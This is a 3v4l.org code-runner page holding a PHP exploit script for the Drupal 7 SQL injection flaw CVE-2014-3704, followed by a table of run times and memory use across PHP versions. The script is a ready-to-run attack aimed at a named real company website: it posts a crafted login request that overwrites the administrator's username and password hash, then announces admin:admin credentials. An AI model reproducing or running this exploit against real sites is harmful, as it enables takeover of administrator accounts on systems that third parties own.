3v4l.org

run code in 300+ PHP versions simultaneously
<?php// Title : Drupal Core 7.x Prior 7.32 - SQL Injection// Author : sn// Link : http://www.drupal.com// Version: 7.x Prior to 7.32// CVE : CVE-2014-3704// Site : http://siph0n.net// Config$site = "http://claro.com.br"; // site & site dir$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";//$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $site . "/?q=node&destination=node");curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);$server_output = curl_exec($ch);curl_close($ch);if(strpos($server_output, "mb_strlen() expects parameter 1 to be string")) {echo "Success! Please login with \"admin\":\"admin\" at {$site}/user/login";} else {echo "Failed";} ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0100.01018.43
8.3.50.0110.00921.28
8.3.40.0110.00718.64
8.3.30.0100.00319.14
8.3.20.0040.00420.27
8.3.10.0080.00023.48
8.3.00.0000.00819.26
8.2.180.0130.01016.32
8.2.170.0110.00422.96
8.2.160.0040.01120.42
8.2.150.0040.00424.18
8.2.140.0080.00024.66
8.2.130.0040.00426.16
8.2.120.0040.00422.14
8.2.110.0030.00619.27
8.2.100.0030.00917.91
8.2.90.0040.00419.08
8.2.80.0090.00017.97
8.2.70.0060.00317.50
8.2.60.0040.00417.80
8.2.50.0080.00018.10
8.2.40.0000.00720.36
8.2.30.0070.00017.99
8.2.20.0050.00217.42
8.2.10.0020.00517.81
8.2.00.0000.00717.55
8.1.280.0070.00725.92
8.1.270.0030.00623.81
8.1.260.0040.00426.35
8.1.250.0030.00528.09
8.1.240.0110.00021.12
8.1.230.0040.00817.42
8.1.220.0060.00317.74
8.1.210.0000.00818.77
8.1.200.0060.00317.23
8.1.190.0080.00019.01
8.1.180.0060.00318.10
8.1.170.0000.00818.51
8.1.160.0050.00221.95
8.1.150.0040.00418.75
8.1.140.0070.00017.25
8.1.130.0040.00419.54
8.1.120.0040.00417.25
8.1.110.0040.00417.20
8.1.100.0070.00017.33
8.1.90.0050.00217.35
8.1.80.0040.00417.22
8.1.70.0040.00417.20
8.1.60.0030.00617.45
8.1.50.0000.00917.45
8.1.40.0090.00017.42
8.1.30.0080.00017.42
8.1.20.0040.00417.48
8.1.10.0000.00817.50
8.1.00.0040.00417.34
8.0.300.0080.00018.77
8.0.290.0070.00016.63
8.0.280.0030.00318.43
8.0.270.0000.00717.20
8.0.260.0000.00617.18
8.0.250.0040.00416.73
8.0.240.0040.00416.82
8.0.230.0000.00716.81
8.0.220.0040.00416.66
8.0.210.0000.00616.74
8.0.200.0000.00616.74
8.0.190.0040.00416.80
8.0.180.0040.00416.80
8.0.170.0040.00416.74
8.0.160.0050.00216.86
8.0.150.0040.00416.70
8.0.140.0070.00016.75
8.0.130.0000.00613.40
8.0.120.0080.00016.74
8.0.110.0000.00716.66
8.0.100.0040.00416.77
8.0.90.0070.00016.78
8.0.80.0120.00616.80
8.0.70.0040.00416.69
8.0.60.0030.00416.59
8.0.50.0000.00716.70
8.0.30.0160.00916.89
8.0.20.0060.01317.40
8.0.10.0000.00816.93
8.0.00.0100.01016.53
7.4.330.0050.00015.02
7.4.320.0060.00016.50
7.4.300.0060.00016.35
7.4.290.0040.00416.47
7.4.280.0030.00316.37
7.4.270.0060.00016.35
7.4.260.0000.00716.25
7.4.250.0000.00716.25
7.4.240.0040.00316.44
7.4.230.0000.00716.58
7.4.220.0170.00016.36
7.4.210.0070.00716.38
7.4.200.0000.00716.35
7.4.160.0140.00516.31
7.4.150.0140.01117.40
7.4.140.0120.00517.86
7.4.130.0120.00716.39
7.4.120.0030.01416.37
7.4.110.0060.01216.35
7.4.100.0140.00316.30
7.4.90.0210.00016.57
7.4.80.0040.01419.39
7.4.70.0070.01116.44
7.4.60.0120.00616.43
7.4.50.0050.00316.53
7.4.40.0160.00816.24
7.4.30.0030.01816.32
7.4.00.0100.00314.70
7.3.330.0000.00613.09
7.3.320.0030.00313.11
7.3.310.0070.00016.14
7.3.300.0000.00715.99
7.3.290.0100.00716.09
7.3.280.0070.01116.09
7.3.270.0140.00817.40
7.3.260.0070.01316.30
7.3.250.0090.00916.45
7.3.240.0090.00916.13
7.3.230.0230.00016.39
7.3.210.0060.01016.33
7.3.200.0030.01319.39
7.3.190.0130.00616.45
7.3.180.0120.00916.34
7.3.170.0080.01216.27
7.3.160.0090.00616.39
7.2.330.0130.00416.26
7.2.320.0100.00716.68
7.2.310.0080.00816.57
7.2.300.0090.00916.31
7.2.290.0160.00616.31
7.2.60.0190.00516.47
7.2.00.0100.01019.30
7.1.200.0150.00315.28
7.1.100.0100.00717.62
7.1.70.0140.00017.06
7.1.60.0140.01019.32
7.1.50.0070.01716.62
7.1.00.0070.07022.57
7.0.200.0000.00916.61
7.0.140.0030.06722.07
7.0.60.0070.08319.99
7.0.50.0030.08717.66
7.0.40.0070.05020.12
7.0.30.0300.04320.13
7.0.20.0270.05320.12
7.0.10.0130.07320.16
7.0.00.0070.04020.19
5.6.280.0100.06721.06
5.6.210.0130.06320.71
5.6.200.0130.03018.16
5.6.190.0130.08020.43
5.6.180.0070.08020.61
5.6.170.0170.04720.39
5.6.160.0030.06020.52
5.6.150.0100.07718.11
5.6.140.0000.04718.21
5.6.130.0100.07318.18
5.6.120.0100.08721.05
5.6.110.0130.07721.02
5.6.100.0170.07320.96
5.6.90.0070.05020.96
5.6.80.0030.05320.41
5.5.350.0070.06320.51
5.5.340.0000.04018.02
5.5.330.0070.05720.34
5.5.320.0300.07320.17
5.5.310.0170.05320.20
5.5.300.0100.07317.95
5.5.290.0100.06717.98
5.5.280.0030.06320.76
5.5.270.0000.08720.86
5.5.260.0030.09020.95
5.5.250.0070.07720.57
5.5.240.0370.06720.26
5.4.450.0230.03719.42
5.4.440.0300.06719.59
5.4.430.0230.04719.09
5.4.420.0270.07019.20
5.4.410.0230.06719.32
5.4.400.0300.06318.80
5.4.390.0200.07019.23
5.4.380.0330.04719.08
5.4.370.0270.07018.88
5.4.360.0200.04018.80
5.4.350.0270.04319.07
5.4.340.0200.07019.08
5.4.320.0300.07019.05
5.4.310.0230.07318.80
5.4.300.0270.04719.05
5.4.290.0230.07019.07
5.4.280.0300.03719.07
5.4.270.0230.03719.21
5.4.260.0170.04018.80
5.4.250.0300.07019.08
5.4.240.0270.07019.23
5.4.230.0330.06319.12
5.4.220.0230.04318.81
5.4.210.0230.03719.23
5.4.200.0330.06719.06
5.4.190.0270.07318.92
5.4.180.0270.06719.14
5.4.170.0200.07019.14
5.4.160.0170.04319.07
5.4.150.0200.04718.90
5.4.140.0230.05316.16
5.4.130.0230.06716.27
5.4.120.0130.08316.21
5.4.110.0200.04316.20
5.4.100.0200.03716.31
5.4.90.0170.04316.43
5.4.80.0230.03316.36
5.4.70.0300.06016.48
5.4.60.0300.05016.36
5.4.50.0170.04016.43
5.4.40.0330.06316.04
5.4.30.0170.06016.27
5.4.20.0200.04316.44
5.4.10.0230.03716.39
5.4.00.0230.07015.65
5.3.290.0270.03014.69
5.3.280.0270.04314.46
5.3.270.0230.03714.51
5.3.260.0130.07014.59
5.3.250.0270.06014.57
5.3.240.0230.06014.55
5.3.230.0130.07714.43
5.3.220.0200.06714.47
5.3.210.0230.06714.51
5.3.200.0230.07014.47
5.3.190.0170.05314.50
5.3.180.0170.05014.57
5.3.170.0230.06014.40
5.3.160.0170.07314.40
5.3.150.0170.04014.52
5.3.140.0130.04014.48
5.3.130.0170.03714.51
5.3.120.0230.03014.39
5.3.110.0230.04014.40
5.3.100.0170.03714.08
5.3.90.0130.04013.85
5.3.80.0230.06313.86
5.3.70.0200.03713.92
5.3.60.0170.03313.84
5.3.50.0170.03713.88
5.3.40.0270.06313.81
5.3.30.0230.04013.75
5.3.20.0230.06713.64
5.3.10.0200.03713.53
5.3.00.0230.07013.54
5.2.170.0200.03011.16
5.2.160.0170.05310.98
5.2.150.0170.05710.98
5.2.140.0200.03711.19
5.2.130.0130.04010.96
5.2.120.0100.03711.16
5.2.110.0270.04311.27
5.2.100.0200.06011.11
5.2.90.0170.06011.17
5.2.80.0230.05710.94
5.2.70.0070.07011.14
5.2.60.0230.03011.09
5.2.50.0200.04710.90
5.2.40.0130.03310.82
5.2.30.0200.05710.82
5.2.20.0130.03310.81
5.2.10.0130.03710.97
5.2.00.0200.05310.76
5.1.60.0230.0209.93
5.1.50.0130.0279.85
5.1.40.0130.02710.04
5.1.30.0100.05310.29
5.1.20.0130.03310.31
5.1.10.0100.0239.97
5.1.00.0130.0309.96
5.0.50.0070.0208.44
5.0.40.0070.0438.48
5.0.30.0070.0378.14
5.0.20.0100.0208.07
5.0.10.0100.0378.38
5.0.00.0130.0578.15
4.4.90.0070.0178.00
4.4.80.0070.0238.00
4.4.70.0070.0238.00
4.4.60.0070.0238.00
4.4.50.0130.0338.00
4.4.40.0070.0578.00
4.4.30.0100.0138.00
4.4.20.0070.0238.00
4.4.10.0100.0208.00
4.4.00.0070.0438.00
4.3.110.0030.0208.00
4.3.100.0070.0178.00
4.3.90.0070.0178.00
4.3.80.0100.0408.00
4.3.70.0070.0278.00
4.3.60.0070.0338.00
4.3.50.0100.0338.00
4.3.40.0070.0438.00
4.3.30.0030.0208.00
4.3.20.0030.0308.00
4.3.10.0000.0208.00
4.3.00.0030.0138.00

preferences:
46.92 ms | 401 KiB | 5 Q